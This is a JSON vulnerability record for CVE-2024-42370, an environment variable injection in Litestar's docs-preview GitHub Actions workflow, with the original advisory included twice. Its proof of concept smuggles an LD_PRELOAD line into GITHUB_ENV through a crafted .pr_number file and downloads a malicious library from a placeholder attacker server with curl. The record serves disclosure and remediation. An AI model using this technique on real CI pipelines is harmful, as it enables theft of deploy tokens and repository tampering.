{"id":"CVE-2024-42370","aliases":["EUVD-2024-2492","GHSA-4hq2-rpgc-r8r7"],"status":"published","title":"Litestar repository vulnerable to Environment Variable injection in `docs-preview.yml` workflow","description":"Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. In versions 2.10.0 and prior, Litestar's `docs-preview.yml` workflow is vulnerable to Environment Variable injection which may lead to secret exfiltration and repository manipulation. This issue grants a malicious actor the permission to write issues, read metadata, and write pull requests. In addition, the `DOCS_PREVIEW_DEPLOY_TOKEN` is exposed to the attacker. Commit 84d351e96aaa2a1338006d6e7221eded161f517b contains a fix for this issue.","severity":{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00651,"percentile":0.51553,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":false},"cwes":["CWE-74","CWE-78"],"published":"2024-08-09T18:29:11Z","modified":"2026-10-28T02:30:40Z","exploits":[{"source":"pocgithub","id":"pvharmo2/gha-lab-ba8e0c4217","title":"pvharmo2/gha-lab-ba8e0c4217","date":"2026-09-03","url":"https://github.com/pvharmo2/gha-lab-ba8e0c4217"}],"products":[{"vendor":"litestar-org","product":"litestar"}],"references":[{"url":"https://github.com/litestar-org/litestar/security/advisories/GHSA-4hq2-rpgc-r8r7","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/litestar-org/litestar/commit/84d351e96aaa2a1338006d6e7221eded161f517b","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/litestar-org/litestar/actions/runs/10081936962/job/27875077668#step:1:17","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/litestar-org/litestar/blob/ffaf5616b19f6f0f4128209c8b49dbcb41568aa2/.github/workflows/docs-preview.yml","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-42370","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-4hq2-rpgc-r8r7"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/42xxx/CVE-2024-42370.json","tags":["advisory"]},{"url":"https://github.com/litestar-org/litestar","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-42370","title":"Litestar repository vulnerable to Environment Variable injection in `docs-preview.yml` workflow","description":"Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. In versions 2.10.0 and prior, Litestar's `docs-preview.yml` workflow is vulnerable to Environment Variable injection which may lead to secret exfiltration and repository manipulation. This issue grants a malicious actor the permission to write issues, read metadata, and write pull requests. In addition, the `DOCS_PREVIEW_DEPLOY_TOKEN` is exposed to the attacker. Commit 84d351e96aaa2a1338006d6e7221eded161f517b contains a fix for this issue.","status":"published","published":"2024-08-09T18:29:11.205Z","modified":"2024-08-19T21:05:05.131Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:34:03.00063Z"}],"euvd":[{"id":"EUVD-2024-2492","description":"Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. In versions 2.10.0 and prior, Litestar's `docs-preview.yml` workflow is vulnerable to Environment Variable injection which may lead to secret exfiltration and repository manipulation. This issue grants a malicious actor the permission to write issues, read metadata, and write pull requests. In addition, the `DOCS_PREVIEW_DEPLOY_TOKEN` is exposed to the attacker. Commit 84d351e96aaa2a1338006d6e7221eded161f517b contains a fix for this issue.","status":"published","published":"2024-08-09T18:29:11Z","modified":"2024-08-19T21:05:05Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:H","level":"high"}],"updated_at":"2026-11-03T00:56:15.111746Z"}],"ghsa":[{"id":"GHSA-4hq2-rpgc-r8r7","title":"Withdrawn Advisory: Litestar has an environment Variable injection in `docs-preview.yml` workflow","description":"## Withdrawn Advisory\nThis advisory has been withdrawn because the confidentiality, integrity, and availability impacts of the vulnerability affect Litestar's CI/CD environment rather than the `litestar` package. While the information in the advisory is still valid, users of the `litestar` package are not affected and do not need to receive Dependabot alerts.\n\n## Original Advisory\n\n### Summary\nLitestar's `docs-preview.yml` workflow is vulnerable to Environment Variable injection which may lead to secret exfiltration and repository manipulation.\n\n### Environment Variable injection (`GHSL-2024-177`)\n\nThe [`docs-preview.yml` workflow](https://github.com/litestar-org/litestar/blob/ffaf5616b19f6f0f4128209c8b49dbcb41568aa2/.github/workflows/docs-preview.yml) gets triggered when the `Tests And Linting` workflow completes:\n\n```yaml\non:\n  workflow_run:\n    workflows: [Tests And Linting]\n    types: [completed]\n```\n\nLater, it downloads and extracts an artifact generated by the triggering workflow:\n\n```yaml\n- name: Download artifact\nuses: dawidd6/action-download-artifact@v6\nwith:\n  workflow_conclusion: success\n  run_id: ${{ github.event.workflow_run.id }}\n  path: docs-preview\n  name: docs-preview\n```\n\nAnd reads `docs-preview/.pr_number` into an Environment Variable:\n\n```yaml\n- name: Set PR number\n  run: echo \"PR_NUMBER=$(cat docs-preview/.pr_number)\" \u003e\u003e $GITHUB_ENV\n```\n\nThe `$GITHUB_ENV` pointed file is just a regular file where every `KEY=VALUE` will be used to define a new Environment Variable after the step completes. Since the contents of the `.pr_number` file have not been validated, they may contain new lines that will cause new Environment Variables to be defined.\n\nAn attacker can send a malicious `.pr_number` file with the following content:\n\n```txt\n111\nLD_PRELOAD=/home/runner/work/litestar/litestar/inject.so\n```\n\nWhich will result in two Environment Variables being defined:\n\n- PR_NUMBER=111\n- LD_PRELOAD=/home/runner/work/litestar/litestar/inject.so\n\nIn this example we are manipulating the `LD_PRELOAD` environment variable to force the system to load a malicious shared library called `inject.so`. As a result, all subsequent processes launched will automatically incorporate this compromised library into their execution environment.\n\nThe following step will run the `JamesIves/github-pages-deploy-action` action which will [run the `node` command](https://github.com/JamesIves/github-pages-deploy-action/blob/2c9a889f39c2410b2ca1342f465a53a7c5c389b4/action.yml#L5). Therefore the `LD_PRELOAD` will execute arbitrary code when `node` gets executed:\n\n```yaml\n- name: Deploy docs preview\n  uses: JamesIves/github-pages-deploy-action@v4\n  with:\n    folder: docs-preview/docs/_build/html\n    token: ${{ secrets.DOCS_PREVIEW_DEPLOY_TOKEN }}\n    repository-name: litestar-org/litestar-docs-preview\n    clean: false\n    target-folder: ${{ env.PR_NUMBER }}\n    branch: gh-pages\n```\n\n#### PoC\n\n- Clone the repository\n- Edit the `ci.yml` workflow.\n\n```yaml\nname: Tests And Linting\n\non:\n  pull_request:\n\njobs:\n  upload-patch:\n    runs-on: ubuntu-latest\n    timeout-minutes: 10\n    steps:\n      - name: Save PR number and payload\n        run: |\n          make payload\n          echo -e \"${{ github.event.number }}\\nLD_PRELOAD=/home/runner/work/litestar/litestar/inject.so\" \u003e payload/.pr_number\n          curl http://\u003cATTACKER SERVER\u003e/inject.so -o payload/inject.so\n\n      - name: Upload artifact\n        uses: actions/upload-artifact@v3\n        with:\n          name: docs-preview\n          path: payload\n```\n\n- Create a Pull Request with this change.\n- Since the modified workflow is triggered on `pull_request`, the attacker Pull Request will trigger it and upon completion will trigger the vulnerable `Deploy documentation preview` workflow which will read the malicious artifact and pollute the Environment Variables.\n\n#### Impact\n\nThis issue will grant a malicious actor the [following permissions](https://github.com/litestar-org/litestar/actions/runs/10081936962/job/27875077668#step:1:17):\n\n```\n  Issues: write\n  Metadata: read\n  PullRequests: write\n```\n\nIn addition, the following secret will get exposed to the attacker: `DOCS_PREVIEW_DEPLOY_TOKEN`\n\n#### Remediation\n\n- Verify the contents of the downloaded artifacts.\n- Do not allow new lines in the value redirected to GITHUB_ENV\n\n### Resources\n\n- [CodeQL for JavaScript - Expression injection in Actions](https://codeql.github.com/codeql-query-help/javascript/js-actions-command-injection/)\n- [Keeping your GitHub Actions and workflows secure Part 2: Untrusted input](https://securitylab.github.com/research/github-actions-untrusted-input/)\n- [Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)\n\n## Disclosure Policy\nThis report is subject to a 90-day disclosure deadline, as described in more detail in our [coordinated disclosure policy](https://securitylab.github.com/advisories#policy).","status":"withdrawn","published":"2024-08-09T19:22:40Z","modified":"2024-08-27T16:48:14Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:H","level":"high"}],"cwes":["CWE-74","CWE-78"],"updated_at":"2026-11-02T14:38:00.257632Z"}],"nvd":[{"id":"CVE-2024-42370","description":"Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. In versions 2.10.0 and prior, Litestar's `docs-preview.yml` workflow is vulnerable to Environment Variable injection which may lead to secret exfiltration and repository manipulation. This issue grants a malicious actor the permission to write issues, read metadata, and write pull requests. In addition, the `DOCS_PREVIEW_DEPLOY_TOKEN` is exposed to the attacker. Commit 84d351e96aaa2a1338006d6e7221eded161f517b contains a fix for this issue.","status":"published","published":"2024-08-12T13:38:34.497Z","modified":"2026-06-17T07:49:20.597Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:10:18.563492Z"}],"osv":[{"id":"CVE-2024-42370","title":"Litestar repository vulnerable to Environment Variable injection in `docs-preview.yml` workflow","description":"Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. In versions 2.10.0 and prior, Litestar's `docs-preview.yml` workflow is vulnerable to Environment Variable injection which may lead to secret exfiltration and repository manipulation. This issue grants a malicious actor the permission to write issues, read metadata, and write pull requests. In addition, the `DOCS_PREVIEW_DEPLOY_TOKEN` is exposed to the attacker. Commit 84d351e96aaa2a1338006d6e7221eded161f517b contains a fix for this issue.","status":"published","published":"2024-08-09T18:29:11.205Z","modified":"2026-10-28T02:30:40.254455274Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:44:42.322107Z"},{"id":"GHSA-4hq2-rpgc-r8r7","title":"Withdrawn Advisory: Litestar has an environment Variable injection in `docs-preview.yml` workflow","description":"## Withdrawn Advisory\nThis advisory has been withdrawn because the confidentiality, integrity, and availability impacts of the vulnerability affect Litestar's CI/CD environment rather than the `litestar` package. While the information in the advisory is still valid, users of the `litestar` package are not affected and do not need to receive Dependabot alerts.\n\n## Original Advisory\n\n### Summary\nLitestar's `docs-preview.yml` workflow is vulnerable to Environment Variable injection which may lead to secret exfiltration and repository manipulation.\n\n### Environment Variable injection (`GHSL-2024-177`)\n\nThe [`docs-preview.yml` workflow](https://github.com/litestar-org/litestar/blob/ffaf5616b19f6f0f4128209c8b49dbcb41568aa2/.github/workflows/docs-preview.yml) gets triggered when the `Tests And Linting` workflow completes:\n\n```yaml\non:\n  workflow_run:\n    workflows: [Tests And Linting]\n    types: [completed]\n```\n\nLater, it downloads and extracts an artifact generated by the triggering workflow:\n\n```yaml\n- name: Download artifact\nuses: dawidd6/action-download-artifact@v6\nwith:\n  workflow_conclusion: success\n  run_id: ${{ github.event.workflow_run.id }}\n  path: docs-preview\n  name: docs-preview\n```\n\nAnd reads `docs-preview/.pr_number` into an Environment Variable:\n\n```yaml\n- name: Set PR number\n  run: echo \"PR_NUMBER=$(cat docs-preview/.pr_number)\" \u003e\u003e $GITHUB_ENV\n```\n\nThe `$GITHUB_ENV` pointed file is just a regular file where every `KEY=VALUE` will be used to define a new Environment Variable after the step completes. Since the contents of the `.pr_number` file have not been validated, they may contain new lines that will cause new Environment Variables to be defined.\n\nAn attacker can send a malicious `.pr_number` file with the following content:\n\n```txt\n111\nLD_PRELOAD=/home/runner/work/litestar/litestar/inject.so\n```\n\nWhich will result in two Environment Variables being defined:\n\n- PR_NUMBER=111\n- LD_PRELOAD=/home/runner/work/litestar/litestar/inject.so\n\nIn this example we are manipulating the `LD_PRELOAD` environment variable to force the system to load a malicious shared library called `inject.so`. As a result, all subsequent processes launched will automatically incorporate this compromised library into their execution environment.\n\nThe following step will run the `JamesIves/github-pages-deploy-action` action which will [run the `node` command](https://github.com/JamesIves/github-pages-deploy-action/blob/2c9a889f39c2410b2ca1342f465a53a7c5c389b4/action.yml#L5). Therefore the `LD_PRELOAD` will execute arbitrary code when `node` gets executed:\n\n```yaml\n- name: Deploy docs preview\n  uses: JamesIves/github-pages-deploy-action@v4\n  with:\n    folder: docs-preview/docs/_build/html\n    token: ${{ secrets.DOCS_PREVIEW_DEPLOY_TOKEN }}\n    repository-name: litestar-org/litestar-docs-preview\n    clean: false\n    target-folder: ${{ env.PR_NUMBER }}\n    branch: gh-pages\n```\n\n#### PoC\n\n- Clone the repository\n- Edit the `ci.yml` workflow.\n\n```yaml\nname: Tests And Linting\n\non:\n  pull_request:\n\njobs:\n  upload-patch:\n    runs-on: ubuntu-latest\n    timeout-minutes: 10\n    steps:\n      - name: Save PR number and payload\n        run: |\n          make payload\n          echo -e \"${{ github.event.number }}\\nLD_PRELOAD=/home/runner/work/litestar/litestar/inject.so\" \u003e payload/.pr_number\n          curl http://\u003cATTACKER SERVER\u003e/inject.so -o payload/inject.so\n\n      - name: Upload artifact\n        uses: actions/upload-artifact@v3\n        with:\n          name: docs-preview\n          path: payload\n```\n\n- Create a Pull Request with this change.\n- Since the modified workflow is triggered on `pull_request`, the attacker Pull Request will trigger it and upon completion will trigger the vulnerable `Deploy documentation preview` workflow which will read the malicious artifact and pollute the Environment Variables.\n\n#### Impact\n\nThis issue will grant a malicious actor the [following permissions](https://github.com/litestar-org/litestar/actions/runs/10081936962/job/27875077668#step:1:17):\n\n```\n  Issues: write\n  Metadata: read\n  PullRequests: write\n```\n\nIn addition, the following secret will get exposed to the attacker: `DOCS_PREVIEW_DEPLOY_TOKEN`\n\n#### Remediation\n\n- Verify the contents of the downloaded artifacts.\n- Do not allow new lines in the value redirected to GITHUB_ENV\n\n### Resources\n\n- [CodeQL for JavaScript - Expression injection in Actions](https://codeql.github.com/codeql-query-help/javascript/js-actions-command-injection/)\n- [Keeping your GitHub Actions and workflows secure Part 2: Untrusted input](https://securitylab.github.com/research/github-actions-untrusted-input/)\n- [Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)\n\n## Disclosure Policy\nThis report is subject to a 90-day disclosure deadline, as described in more detail in our [coordinated disclosure policy](https://securitylab.github.com/advisories#policy).","status":"withdrawn","published":"2024-08-09T19:22:40Z","modified":"2024-10-08T04:27:18.926478Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:H","level":"high"}],"cwes":["CWE-74","CWE-78"],"updated_at":"2026-11-02T15:46:37.148947Z"}]}}